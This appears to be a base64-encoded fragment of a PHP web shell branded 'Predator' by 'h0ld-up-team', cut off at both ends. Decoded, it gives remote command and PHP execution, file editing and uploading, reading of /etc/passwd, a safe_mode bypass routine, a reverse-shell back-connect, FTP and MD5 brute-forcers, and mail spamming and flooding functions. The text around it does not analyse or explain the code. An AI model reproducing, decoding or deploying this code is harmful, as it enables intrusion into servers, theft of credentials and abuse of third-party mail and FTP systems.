7DQoJCQkJfWVsc2V7DQoJCQkJZWNobyBodG1sc3BlY2lhbGNoYXJzKHNhZmVfcmVhZChzdHJpcHNsYXNoZXMoJF9QT1NUWyd2YWx1ZSddKSkpOw0KCQkJCX07DQoJCQkJJF9TRVNTSU9OWydlZGl0J109MTsNCgkJCQkkX1NFU1NJT05bJ2ZpbGVuYW1lJ10gPSAkX1BPU1RbJ3ZhbHVlJ107DQoJCQl9ZWxzZXsNCgkJCQlyZXR1cm4gJ0ZpbGUgZG9lc25cJ3QgZXhpc3RzISc7DQoJCQl9DQoJfQ0KZWxzZWlmKCRfUE9TVFsndHlwZSddPT01KQ0KCXsNCgkJZnB1dHMoZm9wZW4oJF9TRVNTSU9OWydmaWxlbmFtZSddLCJ3Iiksc3RyaXBzbGFzaGVzKCRfUE9TVFsndmFsdWUnXSkpOw0KCX0NCmVsc2VpZigkX1BPU1RbJ3R5cGUnXT09NikNCgl7DQoJCSR1cGxvYWRkaXIgPSBwd2QoKTsNCgkJaWYoISRuYW1lPSRfUE9TVFsnbmV3bmFtZSddKXskbmFtZSA9ICRfRklMRVNbJ3VzZXJmaWxlJ11bJ25hbWUnXTt9Ow0KCQltb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1sndXNlcmZpbGUnXVsndG1wX25hbWUnXSwgJHVwbG9hZGRpci4kbmFtZSk7IAkNCgl9DQplbHNlaWYoJF9QT1NUWyd0eXBlJ109PTcpDQoJew0KCQllY2hvIGFsaWFzKCRfUE9TVFsndmFsdWUnXSk7DQoJfQ0KZWxzZWlmKCRfUE9TVFsndHlwZSddPT04KQ0KCXsNCgkJZWNobyBzcGFtbWVyKHN0cmlwc2xhc2hlcygkX1BPU1RbJ2Zyb20nXSksc3RyaXBzbGFzaGVzKCRfUE9TVFsnc3ViamVjdCddKSxzdHJpcHNsYXNoZXMoJF9QT1NUWydtc2cnXSksc3RyaXBzbGFzaGVzKCRfUE9TVFsnY2hlY2snXSksc3RyaXBzbGFzaGVzKCRfUE9TVFsnZWxpc3QnXSksc3RyaXBzbGFzaGVzKCRfUE9TVFsnbG9nZiddKSk7DQoJfQ0KZWxzZWlmKCRfUE9TVFsndHlwZSddPT05KQ0KCXsNCgkJZWNobyBmdHBfYnJ1dGUoc3RyaXBzbGFzaGVzKCRfUE9TVFsnaG9zdCddKSxzdHJpcHNsYXNoZXMoJF9QT1NUWyd1c2VycyddKSxzdHJpcHNsYXNoZXMoJF9QT1NUWydwYXNzd2QnXSksc3RyaXBzbGFzaGVzKCRfUE9TVFsnbG9nJ10pKTsNCgl9DQplbHNlaWYoJF9QT1NUWyd0eXBlJ109PTEwKQ0KCXsNCgkJZWNobyBmbG9vZGVyKHN0cmlwc2xhc2hlcygkX1BPU1RbJ2xvZyddKSxzdHJpcHNsYXNoZXMoJF9QT1NUWyd0byddKSxzdHJpcHNsYXNoZXMoJF9QT1NUWydmcm9tJ10pLHN0cmlwc2xhc2hlcygkX1BPU1RbJ3N1YmplY3QnXSksc3RyaXBzbGFzaGVzKCRfUE9TVFsnbXNnJ10pLHN0cmlwc2xhc2hlcygkX1BPU1RbJ2Ftb3VudCddKSxzdHJpcHNsYXNoZXMoJF9QT1NUWydjaGVjayddKSk7DQoJfQ0KZWxzZWlmKCRfUE9TVFsndHlwZSddPT0xMikNCgl7DQoJCWVjaG8gYmFja2Nvbm5lY3Qoc3RyaXBzbGFzaGVzKCRfUE9TVFsnaXAnXSksc3RyaXBzbGFzaGVzKCRfUE9TVFsncG9ydCddKSxzdHJpcHNsYXNoZXMoJF9QT1NUWydtZXRob2QnXSkpOw0KCX0NCmVsc2VpZigkX1BPU1RbJ3R5cGUnXT09MTMpDQoJew0KCQllY2hvIGJhY2tjb25uZWN0KHN0cmlwc2xhc2hlcygkX1BPU1RbJ3BvcnQnXSksc3RyaXBzbGFzaGVzKCRfUE9TVFsncGFzcyddKSxzdHJpcHNsYXNoZXMoJF9QT1NUWydtZXRob2QnXSkpOw0KCX0NCmVsc2VpZigkX1BPU1RbJ3R5cGUnXT09MTQpDQoJew0KCQllY2hvIG1kNV9icnV0ZShzdHJpcHNsYXNoZXMoJF9QT1NUWydoYXNoJ10pLHN0cmlwc2xhc2hlcygkX1BPU1RbJ2xvZyddKSxzdHJpcHNsYXNoZXMoJF9QT1NUWydkaWN0J10pKTsNCgl9DQoNCmVsc2UgDQoJeyR1ID0gZXgoJ2xzIC1sYScpOw0KCSBpZigkdSA9PSAnJyl7cmV0dXJuIGV4KCdkaXInKTt9ZWxzZXtyZXR1cm4gJHU7fTsNCgl9DQoNCnJldHVybiBudWxsOw0KfTsNCg0KZnVuY3Rpb24gZWRpdCgpDQp7DQppZiAoJF9TRVNTSU9OWydlZGl0J10gPT0gMSl7DQokX1NFU1NJT05bJ2VkaXQnXT0wOw0KcmV0dXJuICI8YnI+PGNlbnRlcj48aW5wdXQgdHlwZT1zdWJtaXQgc3R5bGU9XCJib3JkZXI6MXB4IHNvbGlkICM2NjY2NjY7YmFja2dyb3VuZDojMzMzMzMzO2ZvbnQtd2VpZ2h0OmJvbGQ7XCIgdmFsdWU9XCJTYXZlXCI+PC9jZW50ZXI+Ijt9Ow0KfQ0KDQpmdW5jdGlvbiBnZXRzeXN0ZW0oKQ0Kew0KCXJldHVybiBwaHBfdW5hbWUoJ3MnKS4iICIucGhwX3VuYW1lKCdyJykuIiAiLnBocF91bmFtZSgndicpOw0KfTsJDQoNCmZ1bmN0aW9uIGdldHNlcnZlcigpDQp7DQoJcmV0dXJuIGdldGVudigiU0VSVkVSX1NPRlRXQVJFIik7DQp9Ow0KDQoNCmZ1bmN0aW9uIGdldHVzZXIoKQ0Kew0KJG91dCA9IGdldF9jdXJyZW50X3VzZXIoKTsJDQoJaWYoJG91dCE9IlNZU1RFTSIpDQoJCXsNCgkJCWlmKCgkb3V0PWV4KCdpZCcpKT09JycpeyRvdXQgPSAidWlkPSIuZ2V0bXl1aWQoKS4iKCIuZ2V0X2N1cnJlbnRfdXNlcigpLiIpIGdpZD0iLmdldG15Z2lkKCk7fTsNCgkJfQ0KcmV0dXJuICRvdXQ7DQp9Ow0KDQpmdW5jdGlvbiBwd2QoKQ0Kew0KaWYoJF9QT1NUWyd0eXBlJ109PTMpDQoJew0KCQkkX1NFU1NJT05bJ3B3ZCddID0gc3RyaXBzbGFzaGVzKCRfUE9TVFsndmFsdWUnXSk7DQoJfQ0KY2hkaXIoJF9TRVNTSU9OWydwd2QnXSk7DQokY3dkID0gZ2V0Y3dkKCk7DQppZigkdT1zdHJycG9zKCRjd2QsJy8nKSkNCgl7DQoJCWlmKCR1IT1zdHJsZW4oJGN3ZCktMSl7DQoJCXJldHVybiAkY3dkLicvJzt9DQoJCWVsc2V7cmV0dXJuICRjd2Q7fTsNCgl9DQplbHNlaWYoJHU9c3RycnBvcygkY3dkLCdcXCcpKQ0KCXsNCgkJaWYoJHUhPXN0cmxlbigkY3dkKS0xKXsNCgkJcmV0dXJuICRjd2QuJ1xcJzt9DQoJCWVsc2V7cmV0dXJuICRjd2Q7fTsNCgl9Ow0KfQ0KDQpmdW5jdGlvbiBzYWZlX2V4KCRpbikNCnsNCmlmKCRpbil7DQokZD1kaXIoJy4nKTsNCg0KICAgd2hpbGUgKGZhbHNlIT09KCRmaWxlPSRkLT5yZWFkKCkpKQ0KICAgIHsNCiAgICAgaWYgKCRmaWxlPT0iLiIgfHwgJGZpbGU9PSIuLiIpIGNvbnRpbnVlOw0KICAgICBAY2xlYXJzdGF0Y2FjaGUoKTsNCiAgICAgbGlzdCAoJGRldiwgJGlub2RlLCAkaW5vZGVwLCAkbmxpbmssICR1aWQsICRnaWQsICRpbm9kZXYsICRzaXplLCAkYXRpbWUsICRtdGltZSwgJGN0aW1lLCAkYnNpemUpID0gc3RhdCgkZmlsZSk7DQogICAgIGlmKCEkdW5peCl7IA0KICAgICBlY2hvIGRhdGUoImQubS5ZCSBIOmkiLCRtdGltZSkuIgkiOw0KICAgICBpZihAaXNfZGlyKCRmaWxlKSkgZWNobyAiICA8RElSPiAiOyBlbHNlIHByaW50ZigiJSA3cyAiLCRzaXplKTsNCiAgICAgfQ0KICAgICBlbHNleyANCiAgICAgJG93bmVyID0gQHBvc2l4X2dldHB3dWlkKCR1aWQpOw0KICAgICAkZ3JnaWQgPSBAcG9zaXhfZ2V0Z3JnaWQoJGdpZCk7DQogICAgIGVjaG8gJGlub2RlLiIgIjsNCiAgICAgZWNobyBwZXJtcyhAZmlsZXBlcm1zKCRmaWxlKSk7DQogICAgIHByaW50ZigiJSA0ZCAlIDlzICUgOXMgJTdzICIsJG5saW5rLCRvd25lclsnbmFtZSddLCRncmdpZFsnbmFtZSddLCRzaXplKTsNCiAgICAgZWNobyBkYXRlKCJkLm0uWSBIOmkgIiwkbXRpbWUpOw0KICAgICB9DQogICAgIGVjaG8gIiRmaWxlXG4iOw0KICAgIH0NCiAgICRkLT5jbG9zZSgpOw0KfQ0KDQpmdW5jdGlvbiBzYWZlX3JlYWQoJGluKQ0Kew0KZWNobyBpbmlfZ2V0KCJzYWZlX21vZGUiKTsNCmVjaG8gaW5pX2dldCgib3Blbl9iYXNlZGlyIik7DQppbmNsdWRlKCIvZXRjL3Bhc3N3ZCIpOw0KaW5pX3Jlc3RvcmUoInNhZmVfbW9kZSIpOw0KaW5pX3Jlc3RvcmUoIm9wZW5fYmFzZWRpciIpOw0KZWNobyBpbmlfZ2V0KCJzYWZlX21vZGUiKTsNCmVjaG8gaW5pX2dldCgib3Blbl9iYXNlZGlyIik7DQoNCmZpbGVfZ2V0X2NvbnRlbnRzKCRpbik7DQp9DQoNCn0NCj8+DQoNCg0KDQoNCg0KDQoNCg0KDQoNCjxodG1sPg0KPGhlYWQ+DQo8dGl0bGU+Ljo6UHJlZGF0b3I6Oi48L3RpdGxlPg0KPE1FVEEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9Q1A4NjYiPg0KPHN0eWxlIHR5cGU9dGV4dC9jc3M+DQoudGEge2JhY2tncm91bmQ6ICMzMzMzMzM7IGJvcmRlcjoxcHggc29saWQgIzY2NjY2NjsgY29sb3I6ICNGRkZGRkY7fQ0KLmJ0IHtib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2O2JhY2tncm91bmQ6ICMzMzMzMzM7Zm9udC13ZWlnaHQ6Ym9sZDt9DQoudGQxIHtib3JkZXI6MnB4IHNvbGlkICMwMDAwMDA7fQ0KLnRkMiB7Ym9yZGVyOjFweCBzb2xpZCAjMDAwMDAwO30NCi5yYW0ge2JvcmRlcjoxcHggc29saWQgIzY2NjY2NjtiYWNrZ3JvdW5kOiMyMjIyMjI7fQ0KYm9keSB7IHNjcm9sbGJhci1iYXNlLWNvbG9yOiAjMzMzMzMzfQ0KPC9zdHlsZT4NCjxzY3JpcHQ+DQpmdW5jdGlvbiBraWxsKCkNCnsNCnZhciB5Ow0KeSA9IGNvbmZpcm0oJ0FyZSB5b3UgcmVhbGx5IHdhbnQgdG8ga2lsbCBzaGVsbD8nKTsNCmlmKHkgPT0gdHJ1ZSkNCnsNCmRvY3VtZW50LmxvY2F0aW9uID0gJz9raWxsPXllcyc7DQp9DQp9DQo8L3NjcmlwdD4NCjwvaGVhZD4NCjxib2R5IGJnY29sb3I9JyMwMDAwMDAnPg0KPGNlbnRlcj48dGFibGUgd2lkdGg9OTAlIGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MCBzdHlsZT0iYm9yZGVyOiAxcHggc29saWQgIzY2NjY2NiI+DQo8dHI+PHRkIHdpZHRoPTEwMCUgaGVpZ2h0PTcwIGJnY29sb3I9JyMzMzMzMzMnIHN0eWxlPSJib3JkZXItYm90dG9tOiAycHggc29saWQgIzY2NjY2NiIgdmFsaWduPXRvcD4NCjx0YWJsZSB2YWxpZ249dG9wPg0KPHRyPjx0ZCB2YWxpZ249dG9wPg0KPHRhYmxlIHZhbGlnbj1jZW50ZXIgY2xhc3M9J3JhbSc+DQo8dHI+PHRkIHdpZHRoPTUlIGFsaWduPXJpZ2h0Pg0KPGZvbnQgc2l6ZT0yIGNvbG9yPSM4ODg4ODg+U3lzdGVtOjwvZm9udD4NCjwvdGQ+DQo8dGQgd2lkdGg9MTAwJT4NCjxmb250IHNpemU9MiBjb2xvcj1yZWQ+PGI+PD9waHAgZWNobyBnZXRzeXN0ZW0oKTs/PjwvYj48L2ZvbnQ+DQo8L3RkPjwvdHI+DQo8dHI+PHRkIHdpZHRoPTUlIGFsaWduPXJpZ2h0Pg0KPGZvbnQgc2l6ZT0yIGNvbG9yPSM4ODg4ODg+U2VydmVyOjwvZm9udD4NCjwvdGQ+DQo8dGQgd2lkdGg9MTAwJT4NCjxmb250IHNpemU9MiBjb2xvcj1yZWQ+PGI+PD9waHAgZWNobyBnZXRzZXJ2ZXIoKTs/PjwvYj48L2ZvbnQ+DQo8L3RkPjwvdHI+DQo8dHI+PHRkIHdpZHRoPTUlIGFsaWduPXJpZ2h0Pg0KPGZvbnQgc2l6ZT0yIGNvbG9yPSM4ODg4ODg+VXNlcjo8L2ZvbnQ+DQo8L3RkPg0KPHRkIHdpZHRoPTEwMCU+DQo8Zm9udCBzaXplPTIgY29sb3I9cmVkPjxiPjw/cGhwIGVjaG8gZ2V0dXNlcigpOz8+PC9iPjwvZm9udD4NCjwvdGQ+PC90cj4NCjx0cj48dGQgd2lkdGg9NSUgYWxpZ249cmlnaHQ+DQo8Zm9udCBzaXplPTIgY29sb3I9Izg4ODg4OD5wd2Q6PC9mb250Pg0KPC90ZD4NCjx0ZCB3aWR0aD0xMDAlPg0KPGZvbnQgc2l6ZT0yIGNvbG9yPXJlZD48Yj48P3BocCBpZihzdHJsZW4oJHU9cHdkKCkpPjQ1KXtlY2hvICIuLi4iLnN1YnN0cigkdSxzdHJsZW4oJHUpLTQwLDQwKTt9ZWxzZXtlY2hvICR1O307Pz48L2I+PC9mb250Pg0KPC90ZD48L3RyPg0KPC90YWJsZT4NCjwvdGQ+DQo8dGQgd2lkdGg9MTMlIHZhbGlnbj1jZW50ZXIgYWxpZ249Y2VudGVyPg0KPHRhYmxlIHdpZHRoPTEwMCUgaGVpZ2h0PTEwMCUgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wPjx0cj48dGQgd2lkdGg9MTAwJSBoZWlnaHQ9MTAwJT4NCjxjZW50ZXI+DQo8YSBocmVmPSJodHRwOi8vaDBsZC11cC5pbmZvIj48dGFibGUgY2VsbHBhZGRpbmc9MiBjZWxsc3BhY2luZz0yIHN0eWxlPSJib3JkZXI6MXB4IHNvbGlkICM2NjY2NjY7YmFja2dyb3VuZDojNDQ0NDQ0Ij4NCjx0cj48dGQ+PGZvbnQgc2l6ZT0yIGNvbG9yPSM5OTk5OTk+DQo8Y2VudGVyPjxiPi46OmgwbGQtdXAtdGVhbTo6Ljxicj53ZWItc2hlbGw8L2I+PC9jZW50ZXI+DQo8L2ZvbnQ+PC90ZD48L3RyPjwvdGFibGU+PC9hPjwvY2VudGVyPg0KPC90ZD48L3RyPjx0cj48dGQgaGVpZ2h0PTU+PC90ZD48L3RyPjx0cj48dGQ+DQo8Y2VudGVyPg0KDQo8aW5wdXQgdHlwZT1zdWJtaXQgc3R5bGU9ImJvcmRlcjoxcHggc29saWQgIzY2NjY2NjtiYWNrZ3JvdW5kOiBkYXJrcmVkO2ZvbnQtd2VpZ2h0OmJvbGQ7IiB2YWx1ZT0nICAgS2lsbCBTaGVsbCAgICcgb25jbGljaz0na2lsbCgpJz4NCg0KPC9jZW50ZXI+DQo8L3RkPjwvdHI+PC90YWJsZT4NCg0KPC90ZD4NCjx0ZCBjbGFzcz0ncmFtJyB3aWR0aD00NSUgdmFsaWduPWNlbnRlciBhbGlnbj1jZW50ZXI+DQo8dGFibGUgIGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MD4NCjx0cj48dGQ+DQo8dGFibGUgdmFsaWduPXRvcCBjZWxscGFkZGluZz0wIGNlbGxzcGFjaW5nPTA+DQo8dHI+PHRkIGFsaWduPXJpZ2h0Pg0KPGZvbnQgc2l6ZT0yIGNvbG9yPScjODg4ODg4Jz5QSFAtdmVyc2lvbjo8L2ZvbnQ+DQo8L3RkPjwvdHI+DQo8dHI+PHRkIGFsaWduPXJpZ2h0Pg0KPGZvbnQgc2l6ZT0yIGNvbG9yPScjODg4ODg4Jz5NeVNRTDo8L2ZvbnQ+DQo8L3RkPjwvdHI+DQo8dHI+PHRkIGFsaWduPXJpZ2h0Pg0KPGZvbnQgc2l6ZT0yIGNvbG9yPScjODg4ODg4Jz5NU1NRTDo8L2ZvbnQ+DQo8L3RkPjwvdHI+DQo8dHI+PHRkIGFsaWduPXJpZ2h0Pg0KPGZvbnQgc2l6ZT0yIGNvbG9yPScjODg4ODg4Jz5Qb3N0Z3JlU1FMOjwvZm9udD4NCjwvdGQ+PC90cj4NCjx0cj48dGQgYWxpZ249cmlnaHQ+DQo8Zm9udCBzaXplPTIgY29sb3I9JyM4ODg4ODgnPk9yYWNsZTo8L2ZvbnQ+DQo8L3RkPjwvdHI+DQo8L3RhYmxlPg0KPC90ZD48dGQ+DQo8dGFibGUgdmFsaWduPXRvcCAgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wPg0KPHRyPjx0ZD4NCjxiPjxmb250IHNpemU9MiBjb2xvcj1yZWQ+PD9waHAgZWNobyBwaHB2ZXJzaW9uKCk7Pz48L2ZvbnQ+PC9iPg0KPC90ZD48L3RyPg0KPHRyPjx0ZD4NCjxiPjw/cGhwIGVjaG8gdGVzdG15c3FsKCk7Pz48L2I+DQo8L3RkPjwvdHI+DQo8dHI+PHRkPg0KPGI+PD9waHAgZWNobyB0ZXN0bXNzcWwoKTs/PjwvYj4NCjwvdGQ+PC90cj4NCjx0cj48dGQ+DQo8Yj48P3BocCBlY2hvIHBvc3RncmVzcWwoKTs/PjwvYj4NCjwvdGQ+PC90cj4NCjx0cj48dGQ+DQo8Yj48P3BocCBlY2hvIG9yYWNsZSgpOz8+PC9iPg0KPC90ZD48L3RyPg0KPC90YWJsZT4NCjwvdGQ+PHRkIHdpZHRoPTQlPjwvdGQ+DQo8dGQgdmFsaWduPXRvcD48dGFibGUgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wIHZhbGlnbj10b3A+DQo8dHI+PHRkIHZhbGlnbj10b3AgYWxpZ249cmlnaHQ+DQo8Zm9udCBjb2xvcj0jODg4ODg4IHNpemU9Mj5TYWZlX21vZGU6PC9mb250Pg0KPC90ZD48L3RyPg0KPHRyPjx0ZCB2YWxpZ249dG9wIGFsaWduPXJpZ2h0Pg0KPGZvbnQgY29sb3I9Izg4ODg4OCBzaXplPTI+Y1VSTDo8L2ZvbnQ+DQo8L3RkPjwvdHI+DQo8dHI+PHRkIHZhbGlnbj10b3AgYWxpZ249cmlnaHQ+DQo8Zm9udCBjb2xvcj0jODg4ODg4IHNpemU9Mj53Z2V0OjwvZm9udD4NCjwvdGQ+PC90cj4NCjx0cj48dGQgdmFsaWduPXRvcCBhbGlnbj1yaWdodD4NCjxmb250IGNvbG9yPSM4ODg4ODggc2l6ZT0yPmZldGNoOjwvZm9udD4NCjwvdGQ+PC90cj4NCjx0cj48dGQgdmFsaWduPXRvcCBhbGlnbj1yaWdodD4NCjxmb250IGNvbG9yPSM4ODg4ODggc2l6ZT0yPmx5bng6PC9mb250Pg0KPC90ZD48L3RyPg0KPC90YWJsZT48L3RkPg0KPHRkIHZhbGlnbj10b3A+PHRhYmxlIGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MCB2YWxpZ249dG9wPg0KPHRyPjx0ZCB2YWxpZ249dG9wPg0KPGI+PD9waHAgZWNobyBzYWZlX21vZGUoKTs/PjwvYj4NCjwvdGQ+PC90cj4NCjx0cj48dGQgdmFsaWduPXRvcD4NCjxiPjw/cGhwIGVjaG8gdGVzdGN1cmwoKTs/PjwvYj4NCjwvdGQ+PC90cj4NCjx0cj48dGQgdmFsaWduPXRvcD4NCjxiPjw/cGhwIGVjaG8gdGVzdHdnZXQoKTs/PjwvYj4NCjwvdGQ+PC90cj4NCjx0cj48dGQgdmFsaWduPXRvcD4NCjxiPjw/cGhwIGVjaG8gdGVzdGZldGNoKCk7Pz48L2I+DQo8L3RkPjwvdHI+DQo8dHI+PHRkIHZhbGlnbj10b3A+DQo8Yj48P3BocCBlY2hvIHRlc3RseW54KCk7Pz48L2I+DQo8L3RkPjwvdHI+DQo8L3RhYmxlPjwvdGQ+DQo8dGQgd2lkdGg9NCU+PC90ZD4NCjx0ZCB2YWxpZ249dG9wPjx0YWJsZSBjZWxscGFkZGluZz0wIGNlbGxzcGFjaW5nPTAgdmFsaWduPXRvcD4NCjx0cj48dGQgdmFsaWduPXRvcCBhbGlnbj1yaWdodD4NCjxmb250IGNvbG9yPSM4ODg4ODggc2l6ZT0yPlBlcmw6PC9mb250Pg0KPC90ZD48L3RyPg0KPHRyPjx0ZCB2YWxpZ249dG9wIGFsaWduPXJpZ2h0Pg0KPGZvbnQgY29sb3I9Izg4ODg4OCBzaXplPTI+U2VydmVyIHRpbWU6PC9mb250Pg0KPC90ZD48L3RyPg0KPHRyPjx0ZCB2YWxpZ249dG9wIGFsaWduPXJpZ2h0Pg0KPGZvbnQgY29sb3I9Izg4ODg4OCBzaXplPTI+U2VydmVyIGRhdGU6PC9mb250Pg0KPC90ZD48L3RyPg0KPHRyPjx0ZCB2YWxpZ249dG9wIGFsaWduPXJpZ2h0Pg0KPGZvbnQgY29sb3I9Izg4ODg4OCBzaXplPTI+VG90YWwgc3BhY2U6PC9mb250Pg0KPC90ZD48L3RyPg0KPHRyPjx0ZCB2YWxpZ249dG9wIGFsaWduPXJpZ2h0Pg0KPGZvbnQgY29sb3I9Izg4ODg4OCBzaXplPTI+RnJlZSBzcGFjZTo8L2ZvbnQ+DQo8L3RkPjwvdHI+DQo8L3RhYmxlPjwvdGQ+DQo8dGQgdmFsaWduPXRvcD48dGFibGUgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wIHZhbGlnbj10b3A+DQo8dHI+PHRkIHZhbGlnbj10b3A+DQo8Yj48Zm9udCBzaXplPTIgY29sb3I9Z3JlZW4+PD9waHAgZWNobyB0ZXN0cGVybCgpOz8+PC9mb250PjwvYj4NCjwvdGQ+PC90cj4NCjx0cj48dGQgdmFsaWduPXRvcD4NCjxiPjxmb250IHNpemU9MiBjb2xvcj0jOTk5OTk5Pjw/cGhwIGVjaG8gZGF0ZSgnSDppJyk7Pz48L2ZvbnQ+PC9iPg0KPC90ZD48L3RyPg0KPHRyPjx0ZCB2YWxpZ249dG9wPg0KPGI+PGZvbnQgc2l6ZT0yIGNvbG9yPSM5OTk5OTk+PD9waHAgZWNobyBkYXRlKCdkLW0tWScpOz8+PC9mb250PjwvYj4NCjwvdGQ+PC90cj4NCjx0cj48dGQgdmFsaWduPXRvcD4NCjxiPjxmb250IHNpemU9MiBjb2xvcj0jOTk5OTk5Pjw/cGhwIGVjaG8gdmlld19zaXplKGRpc2tfdG90YWxfc3BhY2UoZ2V0Y3dkKCkpKTs/PjwvZm9udD48L2I+DQo8L3RkPjwvdHI+DQo8dHI+PHRkIHZhbGlnbj10b3A+DQo8Yj48Zm9udCBzaXplPTIgY29sb3I9Izk5OTk5OT48P3BocCBlY2hvIHZpZXdfc2l6ZShkaXNrZnJlZXNwYWNlKGdldGN3ZCgpKSk7Pz48L2ZvbnQ+PC9iPg0KPC90ZD48L3RyPg0KPC90YWJsZT48L3RkPjwvdHI+DQo8L3RhYmxlPg0KPC90ZD48L3RyPg0KPC90YWJsZT4NCjwvdGQ+PC90cj4NCjx0cj48dGQgd2lkdGg9MTAwJSBoZWlnaHQ9MTAwJSBiZ2NvbG9yPScjMzMzMzMzJyB2YWxpZ249dG9wPg0KPHRhYmxlIHdpZHRoPTEwMCU+DQo8dHI+PHRkIHZhbGlnbj10b3AgYWxpZ249Y2VudGVyPg0KPHRhYmxlIHdpZHRoPTEwMCUgaGVpZ2h0PTIwMCBjbGFzcz0ndGQxJz4NCjx0cj48dGQgdmFsaWduPXRvcCBhbGlnbj1sZWZ0IHdpZHRoPTUwJT4NCjxmb3JtIGFjdGlvbiBtZXRob2Q9UE9TVD4NCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJ0eXBlIiB2YWx1ZT01Pg0KPHRleHRhcmVhIGNvbHM9ODAgcm93cz0xMyBuYW1lPSJ2YWx1ZSIgY2xhc3M9J3RhJz4NCjw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycyhzaGVsbCgpKTs/Pg0KPC90ZXh0YXJlYT48P3BocCBlY2hvIGVkaXQoKTs/PjwvZm9ybT4NCjwvdGQ+DQoNCg0KDQo8dGQgdmFsaWduPXRvcCBhbGlnbj1sZWZ0IHdpZHRoPTEwJT4NCjx0YWJsZSB3aWR0aD0xMDAlIGhlaWdodD0xMDAlIGNsYXNzPSd0ZDInPg0KPGZvcm0gYWN0aW9uIG1ldGhvZD1QT1NUPjx0cj48dGQgdmFsaWduPXRvcCBhbGlnbj1sZWZ0IGhlaWdodD00MCUgc3R5bGU9ImJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjMDAwMDAwOyI+DQo8Yj4uOjpTeXN0ZW0gc2hlbGw6Oi48L2I+PGJyPg0KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9InR5cGUiIHZhbHVlPTI+DQo8Y2VudGVyPjxpbnB1dCB0eXBlPXRleHQgbmFtZT0idmFsdWUiIHNpemU9MzUgY2xhc3M9J3RhJz48L2NlbnRlcj4NCjwvIGJyPjxjZW50ZXI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSJFbnRlciIgc3R5bGU9ImJvcmRlci10b3A6IDFweCBzb2xpZCAjMzMzMzMzO2JvcmRlci1ib3R0b206IDFweCBzb2xpZCAjNjY2NjY2O2JvcmRlci1yaWdodDogMXB4IHNvbGlkICM2NjY2NjY7Ym9yZGVyLWxlZnQ6IDFweCBzb2xpZCAjNjY2NjY2O2JhY2tncm91bmQ6ICMzMzMzMzM7Zm9udC13ZWlnaHQ6Ym9sZDsiPjwvY2VudGVyPg0KPC90ZD48L3RyPjwvZm9ybT4NCjx0cj48dGQgdmFsaWduPXRvcCBhbGlnbj1sZWZ0Pg0KPGZvcm0gYWN0aW9uIG1ldGhvZD1QT1NUPg0KPHRhYmxlPg0KPHRyPjx0ZD4NCjxiPi46OlBIUC1jb2RlOjouPC9iPg0KPC90ZD48dGQgYWxpZ249cmlnaHQ+DQo8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IlJ1biBjb2RlIiBjbGFzcz0nYnQnPg0KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9InR5cGUiIHZhbHVlPTE+DQo8L3RkPjwvdHI+DQo8dHI+PHRkIGNvbHNwYW49Mj4NCjx0ZXh0YXJlYSByb3dzPTUgY29scz0yNiBuYW1lPSJ2YWx1ZSIgY2xhc3M9J3RhJz48P3BocCBlY2hvICJyZWFkZmlsZSgnL2V0Yy9wYXNzd2QnKTsiOz8+PC90ZXh0YXJlYT4NCjwvdGQ+PC90cj4NCjwvdGFibGU+PC9mb3JtPg0KPC90ZD48L3RyPg0KPC90YWJsZT4NCjwvdGQ+PC90cj4NCjwvdGFibGU+DQo8dGFibGU+DQo8dHI+PHRkIGhlaWdodD0wPjwvdGQ+PC90cj4NCjwvdGFibGU+DQo8dGFibGUgd2lkdGg9MTAwJSBoZWlnaHQ9ODAgY2xhc3M9J3RkMScgdmFsaWduPXRvcD4NCjx0cj48dGQgdmFsaWduPXRvcCBhbGlnbj1sZWZ0IHdpZHRoPTUwJT4NCjxmb3JtIGFjdGlvbiBtZXRob2Q9UE9TVD4NCjx0YWJsZSB3aWR0aD0xMDAlIGhlaWdodD0xMDAlIHZhbGlnbj10b3AgY2xhc3M9J3RkMic+DQo8dHI+PHRkPg0KPGI+Ljo6UFdEOjouPC9iPg0KPC90ZD48dGQgYWxpZ249cmlnaHQ+DQo8aW5wdXQgdHlwZT1zdWJtaXQgY2xhc3M9J2J0JyB2YWx1ZT0iY2QiPg0KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9InR5cGUiIHZhbHVlPTM+DQo8L3RkPjwvdHI+DQo8dHI+PHRkIGNvbHNwYW49Mj4NCjxpbnB1dCB0eXBlPXRleHQgbmFtZT0idmFsdWUiIGNsYXNzPSd0YScgc2l6ZT03MSB2YWx1ZT08P3BocCBlY2hvIHB3ZCgpOz8+Pg0KPC90ZD48L3RyPg0KPC90YWJsZT48L2Zvcm0+PC90ZD48dGQgdmFsaWduPXRvcCBhbGlnbj1sZWZ0IHdpZHRoPTUwJT4NCjxmb3JtIGFjdGlvbiBtZXRob2Q9UE9TVD4NCjx0YWJsZSB3aWR0aD0xMDAlIGhlaWdodD0xMDAlIHZhbGlnbj10b3AgY2xhc3M9J3RkMic+DQo8dHI+PHRkPg0KPGI+Ljo6RmlsZSBFZGl0OjouPC9iPg0KPC90ZD48dGQgYWxpZ249cmlnaHQ+DQo8aW5wdXQgdHlwZT1zdWJtaXQgY2xhc3M9J2J0JyB2YWx1ZT0iRWRpdCI+DQo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0idHlwZSIgdmFsdWU9ND4NCjwvdGQ+PC90cj4NCjx0cj48dGQgY29sc3Bhbj0yPg0KPGlucHV0IHR5cGU9dGV4dCBuYW1lPSJ2YWx1ZSIgY2xhc3M9J3RhJyBzaXplPTcyIHZhbHVlPTw/cGhwIGVjaG8gcHdkKCk7Pz4+DQo8L3RkPjwvdHI+D